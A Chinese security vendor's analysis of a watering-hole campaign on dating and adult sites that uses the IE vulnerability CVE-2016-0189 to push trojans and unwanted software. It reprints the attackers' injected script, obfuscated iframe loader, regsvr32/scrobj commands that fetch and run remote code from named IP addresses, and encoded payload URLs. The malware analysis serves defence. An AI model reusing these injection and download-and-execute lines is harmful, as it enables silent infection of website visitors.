双11光棍节快到了,同城交友平台成了不少单身网友迫切脱单的选择之一,但逃离“被虐”行列的网友们,也要注意无处不在的挂马陷阱。近日,腾讯电脑管家就检测到某同城交友网页被植入用于网页挂马攻击的漏洞包,用户浏览其网页就会触发漏洞(编号CVE-2016-0189),沦为挂马受害者,导致电脑被恶意安装大量陌生软件。
0x01 CVE-2016-0189介绍
CVE-2016-0189(vbscript_godmod)是一个IE浏览器的脚本引擎漏洞,可用来攻击目标用户的IE浏览器(Internet explorer 9-11)。攻击者首先会在网站插入精心设计的恶意脚本,当受害者打开其网页的时候,无需点击任何链接其即可触发漏洞并执行恶意代码。
虽然微软官方2016年5月10号就发布了其安全更新,但仍有许多Windows用户一直没有修复或者忽略了此漏洞的安全更新,仍处在易受攻击的危险边缘。
CVE-2016-0189与CVE-2014-6332类似,深受黑客们青睐,被RIG、Sundown等漏洞利用工具包所收录,漏洞利用更加便捷、稳定。
0x02 传播方式 马克思说:“资本如果有百分之五十的利润,它就会铤而走险,如果有百分之百的利润,它就敢践踏人间一切法律,如果有百分之三百的利润,它就敢犯下任何罪行,甚至冒着被绞死的危险”。
据媒体报道,今年3月初,有网友举报高中语文选修教材《中国古代诗词散文欣赏》的网址链接异常,点开后跳转到一个涉黄网站。如果用户访问该网站,电脑就会被植入一种木马程序,进而访问指定网站、下载特定应用,甚至系统数据也会被修改。技术上来看,该犯罪团伙正是利用了这种VBS漏洞才得以疯狂的进行木马病毒的传播。
利用VBS漏洞进行网站挂马攻击并非个案。腾讯电脑管家近期就发现一个利用VBS漏洞进行挂马攻击的案例。该网站以付费观看色情视频或同城交友吸引用户,一旦访问此网站就触攻击者精心设计的漏洞,在没有任何点击操作的情况,自动下载并执行恶意代码,从而电脑被恶意安装大量陌生软件和恶意程序。
从网站内容编排设计,到技术利用来看,不难发现这显然是一个典型的水坑式攻击,攻击者通过诱人的主题,吸引着源源不断的“粉丝”,如果这些“粉丝”在没有电脑管家等安全软件的防护下,或根据网站的“善意”提示退出或者卸载了电脑中的安全软件,其“粉丝”在这种“奔放”的环境下,一旦使用存在漏洞的IE浏览器(或IE模式浏览器)打开这个网站,电脑就如同提线木偶,任黑客们远程摆布,此时即使用户抵挡住了页面内各种诱惑,不做任何点击操作,其电脑也难逃笼中之鸟的厄运。
这些网站有着良好反检测能力,为了逃避检测和拦截,这些网站准备了大量的域名,约5~7天变换一次域名,并通过SEO优化、论坛发帖、网站公告等方式进行公告知会。
0x03 技术分析 在没有更新CVE-2016-0189漏洞补丁,且没有电脑管家等安全软件的机器环境下,使用IE浏览器打开指向45.33.109.45的网站,不做任何点击操作即可触CVE-2016-0189漏洞,电脑瞬间被攻破,被攻击者执行其任意想执行的恶意代码,在电脑上置入木马、病毒及一些陌生的软件,拖慢电脑运行速度,威胁用户的帐号、文档等信息安全。
1.恶意脚本 1) 在页面 45.33.109.45/one/index-1.htm?9里面边插入了一个ip.js的脚本
document.write('<scri'+'ptsrc="http://45.33.109.45/one/js/ip.js" type="text/javascript"></s'+'cript>');
ip.js主要内容如下:
eval(function(d,f,a,c,b,e){b=function(a){return a.toString(f)};if(!"".replace(/^/,String)){for(;a--;)e[b(a)]=c[a]||b(a);c=[function(a){return e[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}("c.7(\"<0 3='4://5.6.2.8/9.a' b='1' d='1'></0>\");",14,14,"iframe 208 src http 67 198 writeln 108 new php width document height".split(" "),0,{}));
2) ip.js会向木马服务器请求一个HTML页面
a) 其请求参数每次并不一样,会根据Cookie等动态信息生成Token、id、Validate等参数,所以在调试重现恶意代码的时候,我们每次看到的请求URL并不完全一致,ip.js会通过Get方式向木马服务器请求一个HTML页面,可以看到下例中的Get参数的Validate 与 我们抓包截图时的validate并不一致。
http://174.139.96.42/p/servlet?token=&id=49457&validate=aed7430a3e12afc2d71abf25c9c186fa
b) 另外请求回来的HTML页面也并不是每次都相同,黑客在木马服务器准备了多套HTML代码,用来适应不同的用户环境和逃避检测调试,下面代码截图是其中一套 HTML 。
3) 上面的HTML通过经过重重加密解密获取CVE-2016-0189漏洞所在页面。
a) 首先通过tinyjs.min.js和encrypt.min.js提供的API,对加密代码进行层层解密,以获得CVE-2016-0189的漏洞利用代码。
b) 然后通过Function Test()自动触发解密出的漏洞利用代码:
<script type="text/vbscript">
Function Test()
End Function
</script>
2. 恶意文件 CVE-2016-0189漏洞触发后,便会执行恶意脚本中的ShellCode,远程下载并执行一系列的文件,最终会在受害者电脑置入木马病毒,并推装许多陌生的软件。
1) 首先恶意脚本触发漏洞后,使用Regsvr32、scrobj命令行从网络下载一个.sct文件,在本地注册一个恶意的DLL文件,从而在受害者电脑立足。
a) 漏洞启动的命令行:
"C:\Windows\System32\regsvr32.exe" /s /i:"http://174.139.96.43/servlet/e57398d26c9f0bd5644a52f9fe5fbcac.sct" scrobj.dll
b) srcobj.dll 的DllInstall()函数,会接收传递的URL参数,并尝试从网络下载ShellCode文件e57398d26c9f0bd5644a52f9fe5fbcac.sct,然后加载执行。
2) e57398d26c9f0bd5644a52f9fe5fbcac.sct的ShellCode会下载一个 nsis_uns2c1b6c.dll到temp目录下,并通过regsvr32.exe的命令行注册启动DLL文件中的恶意代码。
a) 通过命令行执行DLL文件中的DllInstall函数
C:\Windows\System32\regsvr32.exe" /s /n /i:"QgBodHRwOi8vMTc0LjEzOS45Ni40My93aWtpcC5waHA/aWQ9Zjg1ODhkNzRlZDFjMTc4YTkzNTFkNzExOTE5OTI5NjQdAGh0dHA6Ly8xNzQuMTM5Ljk2LjQ0L2NvcmUuY2FiPABodHRwOi8vMTc0LjEzOS45Ni40My9ydC84ZjRjMjc0YjUyMjViMmE2MGVlYzEwOGViZTQ4OWJjNS5qcGc=" "C:\Users\TEST_W~1\AppData\Local\Temp\nsu5A011F33.tmp.dll""
b) 用Base64解密上述命令行的密文可以三个URL
http://174.139.96.43/wikip.php?id=f8588d74ed1c178a9351d71191992964
http://174.139.96.44/core.cab
http://174.139.96.43/rt/8f4c274b5225b2a60eec108ebe489bc5.jpg
c) DllInstall ()函数会通过执行一个Rundll32的命令行,从而执行nsis_uns2c1b6c.dll文件中的CPAILoad()函数。
d) CPAILoad()会解密文件中的加密Shellcode,并重定位其Shellcode的代码入口点将其运行起来,该函数运行后会从网络上下载木马,下载core.cab压缩包文件,并修复加载压缩包内的木马文件bin/i386/core.sdb
e) core.cab包内有两个文件./bin/i386/core.sdb和config.lua
i.其实是一个LUA脚本执行器,负责解析执行Config.lua
ii. Config.lua是一个LUA脚本,通过上述执行器执行可从网络下载setup.zip
set("http://soft.ppttoday.info/setup.zip","https://soft.ppttoday.info/setup.zip",251)
f) Setup.zip是一个压缩包,解压后其包内的为Config.lua 和一个存放多个LUA脚本文件的文件夹Script
i. Config.lua会判断当前用户是否是网吧用户,根据判断结果强制推装不同的软件。
i. Script目录下的几个LUA脚本结构类似,以wplay.lua为例,会检测用户电脑是否安装了WPlayer,如果没有安装就悄悄下载并安装。
0x04 IOCs 1. 网站域名 这些网站为了逃避检测和拦截,这些网站准备了大量的域名,约5~7天变换一次域名,目前为止已经确认有300个以上的域名被这个挂马团伙所利用。
另外为了规避风险这个网站的服务器选择放在了境外(美国)。
网站的服务器在 美国FDC芝加哥机房United States Woodstock。
2.受攻击者分布 网站是简体中文网站,所以其目标性很强,主要就是针对国内用户进行攻击,从国内受攻击者分布可以看出,并没有明显的地域攻击迹象,其TOP排行与国内网民数量的TOP基本一致。
从每天挂马攻击(漏洞触发)的分布来看,每天上午和下午开始上班的时候会达到两个峰值。
0x05 安全建议 根据腾讯电脑管家监测历史发现,每年光棍节期间,都会有病毒假借各种名目混淆用户视线。腾讯电脑管家在去年就曾捕获瞄准各大游戏针对光棍节福利礼包的病毒攻击。
天下没有免费的午餐,国内色情网站“十站九毒”,网友们一定要远离这类危险网站,不访问来历不明的网站,不访问色情、同城交友、博彩类及其他一些法律法规明令禁止的不健康内容网站。保持良好的上网习惯,平时浏览网站一定要注意电脑管家的安全提示,提示有危险的网站千万不要打开。
此外,保持电脑管家的正常开启,可拦截此类挂马攻击。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)